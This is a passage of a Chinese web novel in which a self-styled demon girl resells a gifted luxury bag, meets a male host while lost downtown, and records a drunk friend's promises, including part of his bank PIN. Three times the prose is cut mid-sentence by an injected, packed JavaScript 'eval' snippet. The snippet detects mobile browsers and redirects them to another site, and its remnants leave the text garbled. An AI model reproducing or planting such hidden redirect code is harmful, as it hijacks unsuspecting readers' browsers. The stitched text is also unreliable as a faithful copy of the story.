我想问的是你有没有钱啊! 但他看着我的时候,我忽然意识到这样问太直接了,作为情商很高的恶魔,我深知人类社会里委婉的哲学。 我应该问:学长你是不是可能很钱的! 是不是和可能营造双重委婉氛围,显得我很有礼貌,而且还能引诱他为了逞强,承认有钱这个事实,然后把钱呈上来。 我深以为然,自信开口:“你是不是可能——” 话还没说完,又被柯觅山打断,他双手放在兜里,下巴昂了下,似笑非笑地看着我:“对。” 我有点怒了,瞪着他:“你能不能让我说完。” 事不过三,他要是再打断我,我一定要大发雷霆! “抱歉嘛,我只是提前知道学妹你想做什么。” 柯觅山:“你想和我一起逛街。” 我:“?” 柯觅山往前一步,偏头对我说:“走吧,我陪你。” 撒旦呐!我从来没遇到过这么蠢的人类!我停下原地,充满质疑地看着回望着我的男人,但他一脸无辜,纯良得像是猪圈里刚生下来的猪。 我们站在街头对峙,无声地较量着。 在我强大的意志力下,柯觅山先败下阵来,他低下头,又开始笑,持续着莫名其妙的行为,但他从兜里掏出一张卡,在我面前晃了一下。 “刚才是开玩笑的,作为道歉礼物,你想要什么都可以。” 我立马喜笑颜开,忘记刚才发生的一切,快着步子追上他,开心地说:“能直接转账吗?我想充游戏。” 卖二手有点麻烦,上次卖表被匿名用户找上门,虽然卖了,但是对方不依不饶,非要问我表从哪里来的,是不是偷的某个人。 我告诉是别人送的之后,对方也没消停,每天上线必骚·扰我,我也没搞懂到底是为什么。 “你玩什么游戏?” “争霸天下世界神魔之主。” 柯觅山短暂地沉默片刻,“原来真有人玩。” 我骄傲地说:“我可是全服第一。” “是吗。”柯觅山礼貌地笑着,但没有直接给我转钱,而是领着我进刚才富婆去过的奢侈品店,让我随便选一个。 短剧里的撒币套路终于也是被我遇上了。 这间奢侈品店虽然装修得富丽堂皇,但是因为地处偏僻,一般没人光顾,属于街道上只可观望、不可靠近的建筑,好几次放学经过,我都在思考它究竟是怎么赚钱。 “原来是你们在买啊。”我感慨道。 阻止导购推销后,柯觅山笔直立在我旁边,转头问:“买什么?” 我指着摆放整齐的奢侈品:“这些东西。” 他的视线划过灯光下的商品,轻描淡写地说:“我平时不会来这。” 我:“那你怎么买的?” 柯觅山思考了下,说:“有专门的人配送,不需要多跑一趟。” “那这些店……?” 开出来吓穷人的? 他弯起眼睛,看上去脾气很好,“有些人的选择罢了。” 我被他的装逼给深深震慑了,但转念想起上一个富婆给买了十几个口袋,他却只送我一个,对比起来很穷酸,富人之上还有富人,他应该是自尊心受损,想要在我这充面子。 我自认为看破了真相,在心里小小地鄙视他,转头开始选包。 凭借强大的意志力,我在无穷无尽的数字地狱里选到了最大的、最金灿灿的,导购员笑容灿烂,忙不迭拍马屁:“顾客品味真好,这款刚好前一位客人也买了,是最近的火爆款,我来为您装起来。” 我没看出来它好看,我只知道它贵。 但是听人拍马屁也是头一回,我假装很懂地点头。 柯觅山笑着不说话,视线从包上划过,嘴角的弧度以毫米级别下撇,除了我这个目光锐利的恶魔,其他人完全没注意到。 导购员把包装进袋子里,笑容满脸地注视着我们离开,她的笑容真心实意,比起柯觅山脸上的那张更真实。 走出店,柯觅山不说话,一味地看风景。 他的心情像天气一样阴晴不定,但我完全顾不上,心思全在包上,盘算着马上转卖能不能拿到原价。 我正在畅想,柯觅山冷不丁开口。 “有了礼物就这么开心吗?” “当然!”我肯定地说,“这个包相当于哥哥一年的工资。” 柯觅山的脚步放缓,偏头看向我,深蓝色的眼珠有光落入,让我想要戳一戳,他勾了下嘴角,看上去很友好地说:“那他的工资挺低的。” 有钱人真的好高傲。我懒得搭理他,看着包,一边欣赏一边说:“也相当于92个648,可以抽几次大保底。” 我在心里悄悄做算数,确认没算错,上次宗朔揭穿我数数问题,让我十分恼火。 “可不要玩物丧志啊。” 他说完,又沉默下来,陷入自己的思绪里,手指无意识地敲打衣服上的纽扣,我则开始在闲鱼上看起同行的定价,思考该设置个什么金额。 走到下一个路口时,我打算在这分开,但柯觅山却紧紧跟着我,像个游魂似的,我往左他也往左,我往右他又往右。 我很疑惑,问他难道是想跟着我回家。 “不行吗?好歹我也给你买了礼物。” “那不行,房子里没空位了,你来了只能睡地板。” “学妹啊,你真是……一点也不认真。” 柯觅山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16364182|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无奈地停在原地,在我转身前,拉住我的衣角,微微垂头问:“你没有什么想问的吗?错过这次可没有下次了。” 我:“问啥?” 他眼神复杂地看着我,“什么都没有?” 我挠挠脸颊,忽然想起载人离开的富婆,她的长相和柯觅山有几分相似,在关门前还朝我们看了一眼,因为担心她会突然给我钱,所以我观察特别仔细。 但是我一点也不想听他讲。 我只想快点回家躺着,该吃饭了,他这点零食还不够我塞牙缝的。 我在兜里掏来掏去,终于找到个便宜糖果,塞进他的手里,“学长不哭,吃糖糖咯。” 为了增长好感度,我补充道:“听说吃甜的可以治不开心,以后多吃甜的吧。” 柯觅山接过糖,反驳道:“我可没有不开心啊,和学妹逛街怎么会不开心呢?” 我哪知道,我只是在说台词而已。 我发现他这人很较真,于是继续说台词,试图迷惑他的大脑:“学长,你身上有种疏离感……” 他终于绷不住笑,抬起眉毛,“?” 手机弹出几条消息,是咸鱼上催着买二手的,我低头回消息,也顾不上说完,抬手挥舞两下,当做道别,转头往家的方向走。 宗朔关注着我的账号,我一发商品,他就给我发消息。 [宗贱朔人]:你终于走上犯罪的道路了? [宗贱朔人]:盗窃犯法 [世界第一恶魔大人]:呵呵 [世界第一恶魔大人]:包啊……男人进贡的 [宗贱朔人]:(微笑.jpg) 我让他把包买下,再送给我,但他没回我,把状态切换成了工作中,我认为他是忮忌我,没想到真被我在路上遇到了富爷。 第二天买家来取包,正好朋友们叫我出去玩,顺便上街一趟。 哥哥和浦真天依旧晚出早归,我出门的时候他们刚醒,哥哥停不下来,忙活着家务,浦真天在旁边坐立难安,也跟着收拾房间。 因为理由正当,所以我没有隐瞒,想着还可以薅点钱,于是把要出去玩的事告诉了哥哥,他知道后,给我转了些钱,叮嘱我注意安全,问要不要晚上去接我。 他说这话时,正在擦桌子。 右手拿着桌上的杯子,左手拿着抹布,抬头看向我,额前的碎发被撩起,露出光洁的额头,他眼下有着淡淡的青黑,好像又瘦了点。 浦真天抱着杂物从卧室出来,正好听到我们说话,下意识说:“明子,今天晚上那位——” 他还没说完,哥哥忽然放下杯子,声响炸开,掩盖住了浦真天后面的话,浦真天意识到什么,立马捂住自己的嘴,脸上浮现出恼怒的神情。 浦真天看向哥哥,想要说点什么,但嘴唇像被封住,笨得张嘴说不出话。 哥哥表情如常,换了只手拿杯子,用右手拿纸擦漏出的水,只是动作有些急,不小心用力过猛,水溅出茶几,砸在浦真天脚边。 他停下动作,盯着浦真天脚边的水点,沉默着。 一时间客厅的空气凝固,仿佛能听见针掉在地上的声音。 12. 第十二章 我左看右看,没搞懂他们在僵持什么。 最终,我开口打破沉默,问:“那打车费能报销吗?” 空气开始流动,哥哥丢掉纸巾,语气平常地说:“我忘记晚上要上班了,还以为是以前的时间,是我的问题,打车的钱回来给你报销,一个人出去要注意安全。” 我正要点头,浦真天急忙开口:“要是有事就给我们打电话,我们一定来。” 他的表情莫名其妙变得愧疚,像是老家犯了错的家犬,缩着尾巴飞机耳,明明长得高大,却总是看别人的脸色,他朝我笑了下,右侧脸颊酒窝一闪而过,低头躲避我的视线。 直到我出门,他们也没看过彼此一眼。 因为说要阔绰一把,和朋友约定见面的地方在靠近城中心的位置,我坐出租车花费一个半小时,刚下门便被高楼大厦震慑住了。 低矮的房子不吓人,但高大的楼就像是巨兽,或者再具体点,像龙。 以前我很害怕龙,它们尤其贪婪,比起恶魔还要贪婪,不管看到什么好东西都要抢回洞里,每天在天空上盘旋,不爽了就往下喷火,烧了好几次我的地盘,简直和上帝一样可恶! 高楼大厦鳞次栉比,从下看像是捅进了云端,外壳光泽亮丽,反射出天空的蔚蓝。 当了快二十年人类,再看到这种庞然大物,我不禁有些晕头转向,街道上行人涌动,从四面八方向我袭来,又如同水流向后走去。 我的鼻子更快感受到混杂的城市气息,是奇怪的、让我难以适应的气息。 很难形容,大概就是几岁的时候被丢进装满波波球的儿童乐园,在里面慌乱地翻滚的感受。 但作为活了几百年的恶魔,我怎么可能被这种东西吓到。 我强装镇定,绷着脸走进约定见面的咖啡店。 但进入咖啡店后,我彻底迷茫了,看来看去没有一个人是我认识的,于是我站在原地,睁大眼睛,在落座的衣衫整齐、时尚的城市人里找到了唯一的异常。 等等。 那些头发五颜六色的人是谁?为什么在向我招手。 直到坐下,我也没搞懂究竟是什么情况。 “你是潘小谷?”我指着绿毛问。 她点点头,戴上隐形眼镜以后,两只眼睛放大数倍,她朝我单眨眼,薅了下头发,“不是在群里发消息了吗,我们都去染了头,准备迎接光明的大学生活。” 我右边的苏音仪顶着橙色头发,亮得像是红绿灯,对面的卫菱染了挑染,将头发剪得更短,像颗毒蘑菇。 苏音仪:“都说了她不会看群,这家伙只有私聊才会回消息。” “怎么样,羡慕吧,你也去整个红毛,我们组成彩虹。” 我难以接受,怒道:“彩虹不是七个颜色吗?怎么组?” 我是铁定的黑发派!这是我作为恶魔最后的坚持! 看着五颜六色的头,我默默地崩溃了。 但她们只是敷衍地给我点了蛋糕,凑在一起开始八卦。 “死装男高考完连动态都不敢发,终于暴露了吧,以前月考每次抄袭还没被发现,让他得意这么久,等成绩出来,我要看他怎么办。” “抄也只比你高一名而已,管他干嘛。” “那也是我厉害。”卫菱得意地昂头,从我盘子里偷了颗草莓,在我发怒之前,又把她点的甜品推给我,堵住我想要骂人的嘴。 我没有理由发火,只能憋屈地吃蛋糕。 “你逗她干嘛,让她吃,她还在气我们染头发呢。” 潘小谷伸出爪子摸我的头,“你高考真交的白卷?” “要不然呢,整个学校就两个人不拿高考当回事,昨天老慕还在家长群里发牢骚,说有些人不把未来当回事。” 苏音仪好奇地问:“还有谁啊?” “不知道,但听传言,好像是十五班的那个。” 潘小谷耳朵动了动,压抑不住兴奋,“就是那个不良?我听说他成绩挺好的诶,之前去办公室的时候,看到老师找他讲话,那个恨铁不成钢啊……” “不良还是学霸?真的假的,等等,你不会再说那个麦什么吧?” 苏音仪回忆着,“好像在走廊见过他。” 我继续吃蛋糕,话从左耳进右耳出。 “他不是经常经过我们班嘛,肯定是去走廊偷偷抽烟,要不然就是有仇家在我们班。”卫菱笃定地说。 苏音仪很是赞同,点了点头,有些疑惑地说:“到底谁在跟他打架,打架不是要被处分吗?” “厕所?或者天台。” 潘小谷下意识想扶眼镜,但只扶到空气,手指尴尬地挠挠脸,喝了口饮料,若无其事地说:“看到他上过几次天台。” 两人点点头,接着立马察觉到不对。 “你怎么知道他上天台?” “呃……只是看到嘛。”潘小谷赶紧喝饮料,又看了我一眼,在我疑惑的回视里,把她的布丁也推给我,笑得像个偷了油的耗子。 “当不良就是这个下场,栾水冬,你听到没。” 我郁闷地说:“我不是不良。” 卫菱赶紧补充:“也不准早恋,不准乱吃东西。” 该死的人类,我把旁边苏音仪的提拉米苏抢走,将怒火发泄到无关人士身上。 她看我唉声叹气,“以后我们走了,你可怎么办啊,要不然你跟我去上大学好了,我租房子和你一起住。” 我还没反驳,潘小谷先开口:“歇着吧,你哪来的钱租房子。” “好想有钱。”苏音仪撑着脸叹气,忽然想起什么,兴匆匆地说:“你们还记得高考之前的宣誓大会吗?” “怎么了?” “那个学长,姓柯的,最帅最装的那个,他家可有钱了,前几天还上新闻了。” “他妈和他爸闹离婚,正在分割财产打官司,报道说第三者破坏家庭,还是他爸发疯给记者说的,闹得沸沸扬扬。” 苏音仪说完,砸吧下嘴,感慨道:“有钱人也不好过啊。” 潘小谷忍不住道:“你还同情起有钱人了,他手上一块表都要几十万。” 此话一出,三人齐齐沉默,然后异口同声发出感慨:“有钱真好啊。” 我深以为然,也跟着点头,一起同仇敌忾,原本因为发色突变的惊吓逐渐消散,我也适应了眼前的五颜六色,但是还是淡淡地不爽了! 于是我夺走所有人的甜品,全部糟蹋了一遍。 进行完城市人的精致咖啡店体验后,我们灰溜溜地开始压马路。散步是一件大众的事,消磨精力,而且免费,在吃完五十多一份的甜品后,她们三个只能带我进行不要钱的活动。 我们沿着商业街一直往里走,被一个又一个奢侈品店震慑,在经过激烈的讨论之后,最后达成一致:家附近破旧是因为城中心吸血!该死的城里人夺走了我们拥有的一切。 城中心的商业圈大得可怕,像是另一座城市,像是进入了龙的巢穴。 我曾今被龙抓进过洞里,在各种金银财宝里挣扎,顶着无时无刻盯着我的巨大进眼睛,躲避随时会降下的利爪……最终凭借个人实力成功逃脱。 哎,辉煌的事迹就先不讲。 因为现在我迷路了。 在过马路的时候,我和朋友们走散,莫名来到一条看起来格外华丽的街道,前面不远处是一栋暗金色的建筑,低矮、奢侈但亮着突兀的红色灯牌。 [极乐世界] 我读出了上面写着的字。 往来的人熙熙攘攘,零星几个抬头看向灯牌,露出奇怪的表情,揶揄地和同伴说话。 我真在琢磨方位,手机震动两下,潘小谷狂发短信,问我去哪了,让我不要跟着陌生人乱走。 拜托,我可是恶魔诶,我是那种会跟着人乱走的恶魔吗? “一个人吗?” 我抬头,发现面前不知何时站了个人。 混血长相,身材修长消瘦,四肢纤长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16364183|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘦到锁骨格外明显,面部两边微微陷下去,但却不会显得过分病气,反而更加精致。 年轻的男性穿着奇怪的衣服,单薄的衬衫胸口大敞开,破洞裤露出膝盖,脖子上和耳朵上挂满吊坠,让人怀疑他的耳垂可能会割裂,他盯着我,脸上画着烟熏妆,嘴唇涂得亮晶晶。 简而言之,潮得我要犯风湿了。 我还没说话,他先是用下目线看我,唇角勾起一抹暧昧的笑,故意压低嗓音,半俯身凑近,“很无聊吧,想要找点消遣吧,我知道有个地方可以放松哦,让你忘记所有烦恼。” “要去吗?就你和我。” 我:? 我左看右看,确认这里就我一个人。 他一动作,身上的饰品跟着叮当响,说话的时候抬手摸后劲,手上也挂满了戒指。 我不禁张开嘴,问:“你负重有几斤啊?” “什么?” 他的嘴角似乎抽了一下,但很快掩盖过去,又露出游刃有余的笑,视线像有实质般,“想知道?不如自己来数一下吧,我们去个安静的地方,慢慢数,怎么样?” 大概是人贩子,竟然骗到我头上了。 我心想,不由冷笑出声,大声地说:“想骗我?我报警抓你!” 他顿时绷不住表情,破罐子破摔,双手摊开,顶着腮帮子笑着说:“你报吧,我俩一起去警察局,也算是单独相处。 潮男抱着双臂,不依不饶地盯着我。 我也盯着,具体来说是他身上的链子,思考着这到底是五金还是真金,视线落在他的手背上,戒指反射着微光,禁锢在指节上。 戒指往上移,我也跟着往上看,紧接着对上一双绿色的眼睛。 从柯觅山那了解的,这应该是就是混血儿。 像是绿色的宝石,颜色太亮像是掺入油漆。 对视后,他得意地昂下头,没有刻意压低的声音像是高中生,“喜欢这个?” “应该是假的。”我肯定地说。 他瞪大眼睛,反驳道:“怎么可能,我花一万五买的!” 他说完,又满意起来,眼睛瞟向我,下意识用手摸下巴,吊儿郎当地说:“你要是跟我走的话,这个可以送给你哦。” “真的?” 我还是怀疑它是假的,身上叮当响,听着也不像是好货,我学他摸下巴,看着他说:“骗子都会这么说。” “我哪里像骗子了?看看我的脸好吗?”他难以置信地指着自己,凑到我的面前,“你是不是近视啊。” 啧。他烦躁地薅头发,取下戴在食指上的戒指,强行塞进我的手里,我毫无反抗之力,只能笑看戒指落在手心。 他哼笑一声,拖长尾音说:“现在可以走了吧,大小姐。” 我刚想跟上,忽然想起一件事,停在原地,指着戒指问:“对了,这是自愿赠与吧?” 潮男无语地盯着我,又顶了下腮帮。 我把戒指揣进兜里,问:“我们去哪?” 他双手揣兜,吊儿郎当地往前走,随口回道:“去能获得爱的地方。” 还有这种地方?我怎么不知道呢? 我又是一阵意想不到的狂喜。 然而还没走几步,潘小谷她们横空出世,大惊失色地冲上来。 潘小谷拉住我,张口就开始输出,男生转而收起表情,看向我,啧了声,露出一副厌倦的模样,懒散地说:“算了,今天的业绩是完不成了。” 他自言自语,刷刷掏出几张名片,挂着虚假的笑容塞进潘小谷她们手里,噼里啪啦说了一堆话,然后迅速离开。 只留下叮咚响的背影。 潘小谷嘟囔着:“哪来的神经病,浪费一张脸。” 她拿起名片,瞬间愣在原地,接着小小地尖叫一声,难以置信地看着我。 苏音仪和卫菱也看了眼名声,瞬间噤声。 最后潘小谷吐出一句喃喃自语。 “……原来是男公关啊。” 13. 第十三章 男公关? 我疑惑地看着面面相觑的三人,问:“男公关是什么?” “这个……不好解释。”潘小谷很尴尬,捏着手里的名片,像捏着别人的内裤似的,用手指尖提着,不敢多看一眼,“大概就是嗯呃、喝酒的那种。” 她含糊不清地说:“你自己搜吧,解释不清楚。” 我拿起手机的那一刻,卫菱和苏音仪同时伸手,急忙阻止我,苏音仪差点炸毛:“你让她搜这个干嘛,万一被骗得裤子都不剩,怎么办?” 潘小谷不以为然,努努嘴,示意她们看我手里的戒指,颇为放心:“还没进去你们敢说谁薅谁?” “戒指?!都是男人的把戏!” 苏音仪嘴着急,不知道想到什么,猛地拍大腿,“这是套路啊,就是为了把人骗进去,到时候被当成猪宰就完蛋了!” “你怕什么,小冬又不会去,让她给别人花钱还不如杀了她。” “万一被诱惑了呢?里面肯定很银乱。” 苏音仪拿起名片看了又看,反反复复几次,才慢慢冷静下来,在两人的劝说下,终于不再阻止我上网搜索,实际上她脸颊飞红,藏不住兴奋的劲,跟着凑在一起看手机。 我打开手机,输入男公关三个字。 一张灯红酒绿的照片率先弹出,下面跟着密密麻麻的字,坐在人群中的女人笑容灿烂,大有一种天下在手的得意,周围坐着化妆打扮的男性,急切地、谄媚地想要获得她的视线。 桌面上摆放着堆垒的酒和杯子,钞票犹如雪花撒落,遮挡住照片中的人脸,只露出他们咧开的嘴。 我没看字,只从照片里掌握到玄机,了然地点头,笃定地说:“就是卖酒的嘛。” “我还以为是人贩子呢。” “……” 她们齐齐对视,欲言又止,最终异口同声道:“对。” “只要进了那里,他们就会像鬼一样缠上你,掏光你的所有积蓄,把你变成穷鬼中的穷鬼,然后自己拿着你的钱潇洒。”苏音仪愤愤地说,语气用词像是在描述恶魔。 那我有当男公关的天赋。 我深以为然地点头。 卫菱好奇地问:“你去过吗?说得好详细。” 苏音仪嘿嘿一笑,“电影里都是这么演的。” “不过也大差不差啦,正经男的才不会做这种工作,长得稍微有点姿色的男的赚钱可太容易了,也不知道他们以后能干什么,老了谁还看他们?” 潘小谷叹气道:“男公关老了可怎么办啊,想想就可怕。” “这戒指是他给你的?” 卫菱想起还有这茬,兴匆匆地说:“看看值不值钱。” 我把戒指递给潘小谷,她瞪着眼睛把戒指放在眼前几厘米的地方,极其仔细地观察着:“我看看。” 我们看着她左看右看,足足观察了两分钟,最后她得出结论:“不知道。” “那你看这么久?!” 潘小谷摸着后脑勺,讪笑道:“我也没买过嘛……嘿嘿。” “不过听说纯金的放进水里会沉,不如我们试试吧,把它丢杯子里看会不会沉。” 听见这句话,卫菱忍不住开口:“你笨啊,假货一样会沉,不如用磁铁,看它吸不吸得住。” 她们达成一致,决定逛街的时候去杂货店里看看有没有磁铁,然而没想到的是这里的杂货店里全是打扮得稀奇古怪的人,对顾客爱答不理,说自己不是店主,是古玩店主理人。 我们只敢在门口晃悠一圈,悻悻离开。 最终我们在儿童乐园里找到了一块被玩得湿漉漉的磁铁,潘小谷用纸擦干净,在我们的注视中,将磁铁对准戒指。 然后—— 戒指被吸住了。 我震惊失语,怒道:“果然是个骗子!还说是一万五买的,身上应该全是五金吧!” “……符合刻板印象。”苏音仪无语地评价道。 “舍不得孩子套不到狼,他这是舍弃了身上的跳蚤,想来套你这条小鱼。” “男公关嘛,多的是穷鬼、赌徒和虚荣男。” 原来和我一样是穷人。看来还是有钱人大方。 柯觅山送的就是真货。 说起包的事,买家让我放在公寓下储物柜里,有人会验货,所以我们又多走了段路,来到市中心的豪华公寓,像做贼似地开柜放包,因为担心跑单,我们四个躲在花坛后面,等着人出来拿包。 下来的是个穿着制服的中年男人,还戴着白色的手套,他检查后拿起手机噼里啪啦地操作,然后我便收到了新的打款。 等卖包结束,潘小谷忍不住张嘴:“刚刚那不会是管家吧,还真有这种人设。” 她发出疑问:“所以有钱人为什么要上咸鱼?” “搞不懂,我们穷人就别想复杂的事了。” 她们齐齐叹气,这一天叹的气比读高中三年还多。 拿到钱,我不由喜笑颜开,心里美滋滋的,想到又能充钱霸榜,神清气爽,最后我跟着朋友们来到车站时,她们已经累得说不出话,一整天的步数累计至三万,像尸体似的乱靠着。 等她们的家人接走人,我才慢悠悠地开始打车。 但拿起手机,聊天消息先弹了出来。 [柯觅山(有钱)]:学妹,我昨天想了一天,你最后说的话是什么意思?解释一下吧^^ [柯觅山(有钱)]:对了,我送你的礼物要放好哦,下次见面的时候带上吧 我的思维停滞,忽然想到一件非常重要的事。 他没写自愿赠与!万一收回去不就完了? 我气闷无比,把错全部赖到宗朔身上,立马切换界面,狠狠地骂他。 他立刻秒回:? [世界第一恶魔大人]:上班? [宗贱朔人]:上班也是要摸鱼的 [世界第一恶魔大人]:都怪你,你必须赔偿我十万 [宗贱朔人]:草民何罪? [宗贱朔人]:总不能是因为上次没回你吧 我原本还在想找个什么理由,没想到他直接递给我了,立马顺着杆子爬。 [世界第一恶魔大人]:对,就是这样 [世界第一恶魔大人]:不回我罚款十万 [宗贱朔人]:哎呀,我还以为你不在意呢 [宗贱朔人]:我要上班了 [宗贱朔人]:工作地点网络不好,喂喂,发过去了吗? 我愤怒地用表情包轰炸他,然而全部石沉大海,宗朔装死逃避扣罚款,我只能小发雷霆,把他的罪证写在备忘录上。 等我回到和柯觅山的聊天界面,消息早就像尸体一样冰凉了。 我假装惊讶地回复。 [世界第一恶魔大人]:竟然是学长诶?我居然加了你,好惊喜啊啊啊啊 [世界第一恶魔大人]:网好像不好,没发过去吗? [柯觅山(有钱)]:…… [柯觅山(有钱)]:原来5G也会网卡 我才注意到用户名下会显示网络状态,瞬间切回去看宗朔,没想到这家伙竟然下线了。 我窜到天上的怒气瞬间熄火,只能灰溜溜地切回去,先把状态调成隐身,再发消息。 [世界第一恶魔大人]:我根本没有用5G 用户名旁边显示正在输入,好半天才发送过来。 [柯觅山(有钱)]:没关系 [柯觅山(有钱)]:我就当学妹你是真的网卡 [柯觅山(有钱)]:希望你的回复速度不要像网络一样差 我正琢磨着这句话,过了半晌,他又发来条消息。 [柯觅山(有钱)]:学妹,换个手机吧^^ 我倒吸一口凉气,震惊失语。 怎么会有人装成这样?! 短短一句话让我浑身燥热,身上某个部位硬了。 我硬着拳头点开他的动态界面,生气地发现他生活格外滋润,不是在国外就是在某个颁奖台上领奖,笑容千篇一律,身边总是环绕着各种人。 我阴暗地浏览他的动态,在看到私人飞机时,把自己气得肚子疼。 但片刻后,我调理好了。他的飞机迟早有一天不是他的,说不定哪天就变成我的了。 不对……我应该有个新的才对! 我不要二手货! 我从私人飞机想到豪华别墅,构想出一个拥有管家、司机和厨师的豪华未来,爽得直翘嘴。 看完柯觅山的动态,我一时兴起,点开好友列表里所有的头像,挨个看起他们的生活碎片。 潘小谷发了染发照片,苏音仪上传了通宵游戏截图,而卫菱有很多关于学习的照片…… 宗朔的动态全是游戏截图,偶尔在网吧拍几张,在照片一角能看到我的手指,桌面该散乱着零食口袋,配文:有劫匪。 我冷哼一声,想点踩却发现只能赞,于是愤愤地留下倒立大拇指。 浦真天和哥哥的动态简洁不少,前者只会发天空下照片,配大道理语录,后者干脆什么也没有,全是空白,头像也从我们的合照换成了系统头像。 手机真是人类世界最伟大的发明,不用魔法就能记录时间。 我手指往下,停留在名为[麦景]的用户上,我眨眨眼睛,不假思索地删除好友。 好友列表减少一位,但现实生活却不会直接消失。我正在进行哲思时,手机忽然开始震动。 浦真天突然打来电话。 刚接通,听筒便迫不及待传来声音,“什么?家里出事了?我马上回来,不用担心我,我现在有空……抱歉,我必须回去一趟,能不能明天再喝?对不起,我下次一定陪你……” 他的声音不真切,隐约能听到音乐和人说话的声音,混杂在一起像是泡在水里,只能捕捉到几个“下次”“王总”“这次就饶了你”。 我把脸贴在手机上,仔细地听对面在说什么,但他似乎走了出去,吵闹声逐渐退去,转而变成呕吐和冲水声,喘息压抑在喉咙里,在空旷的背景里无限放大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16364184|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我试探着喂了两声,对面仍然没有回应。 我还以为是谁打错了电话,又看了眼名字,确认是他无疑。 “喂喂喂?”我发送电报。 听筒那边响起一阵窸窸窣窣的声响,紧接着手机被人拿起,我听到一声含糊的、慌乱的脏话,再然后浦真天咳嗽着掩盖过去,中气不足地说:“抱歉啊,不小心拨通了电话……你没听到吧?” 我:“好像听到了。” 他的呼吸放缓,听筒寂静无声。 “你吐厕所里了。” “啊?”浦真天哽住,很快反应过来,“对、对,我刚刚喝多了,对不起,太邋遢了。” 他慌乱说完,强行转移话题,“你回家了吗?快21点了,早点回家休息,路上要注意安全啊。” 我看了眼手机页面,回道:“我在打车。” “哦……好。” 他的话哽在喉咙里,听筒那边再次安静下来,只能听到他粗重的呼吸声和有水的滴答声。 夜晚的市中心格外的亮,像是把城市拢在光罩里,外面是黑夜,里面是白天天偶尔几辆豪车开过,向着高档公寓驶去。 我想了想,问:“我哥呢?你们不是在一起工作吗?” 浦真天如梦惊醒,发出短促的语气词,有些慌乱地回道:“我们不在一起,他在其他地方呢,他很好,完全没问题,就是喝酒应酬多一点,哈哈哈哈……” 结尾,他补充道:“我们没车,所以也不用担心酒驾。” 他被自己逗笑,哧哧笑出声。 浦真天笑完,叹了口气,问:“车到了吗?” 我看眼屏幕,诚实地说:“没有,还有三公里。” “那等车来了,我再挂电话。” 他说完,窸窸窣窣的一阵声响后,突然开始感慨:“真好啊,回家以后不是一个人了,有你和你哥哥在我身边,以前家里一个人也没有,回家永远是黑乎乎的,还得自己做饭。” “家里还是有人好啊。” “你说得对。”我说。 “没想到来这能遇到你们,我还以为再也见不到了,当年你们家最先搬出村,大家都说你们要去城里享福……太好了,又遇到了……太好了。” 便宜父母在我几岁的时候中了彩票,然后听从别人的话,光速从村子里搬到城市边缘,潇洒了一段时间,不过很快财务出问题,染上赌博,光速穷了回去。 浦真天在我耳边絮絮叨叨,像是呼啦啦的小小风扇,口齿有些含糊,带着喝酒后的醉意。 我能想象出他酒精上脸,脸颊到眼下红成一片的模样,蜷曲着身体蹲在角落里,捧着手机讲话,像只窘迫、无家可归的流浪犬。 浦真天总让我想到狗。 是因为长相,还是因为别的什么呢? “我们有缘啊,我这条命还是你妈救的,当年冬天,我贪玩跑到湖面上滑冰,结果一头栽进水里,是她挺着大肚子把从湖里救出来的,当时我整个人都是懵的,她救出我,就开始捂着肚子,让我去找医生,但是我太冷了,反应了好久。” “等村里的医生被我拖着到湖边,你就已经出生了,像个红色的小猴子,不哭也不闹,我们都以为你死了,你妈看了我一眼,那个眼神,我这辈子也忘不了。” “但是你活下来了。” 他喃喃自语道:“水冬,栾水冬……你妈应该特别讨厌我。” 我从年久失修的记忆角落里,找出了一块碎片,以前在院子里玩的时候,总有个黑黢黢的孩子躲在不远处,等哥哥过去,他才敢呲着大牙到院子里,小心翼翼地伸出手想碰我。 他的眼睛和当时喜欢舔我手的小狗一模一样。 我不由啊了一声,“原来你差点把我害死。” 浦真天愣住,片刻后局促地说:“当年的确是我的错,对不起,我会尽力补偿的,明子是我的弟弟,你也是我的妹妹,以后你想要什么,我都满足你。” 他放低音量,用哄小孩的语气说:“好不好?” 他应该真醉了。 我眼睛一转,起了邪念,立马按下录音键,命令道:“你再说一遍。” 他结结巴巴地重复,完整地说了三遍。 我又指示他说自愿赠与,以后什么都要听我的,他全部答应,让我愈发嚣张,甚至开始问他的银行卡密码。 浦真天迷糊地开口:“643……” 我竖起耳朵,认真地捕捉每一个数字,比上学认真一百倍。 但他还没说完,听筒那边传来一声巨响,接着有人啧了一声,吊儿郎当地说了什么,但是距离太远,听不真切。 “喂喂喂?”我再次发送电报。 “还在打电话,偷懒变成偷·情了是吧。” 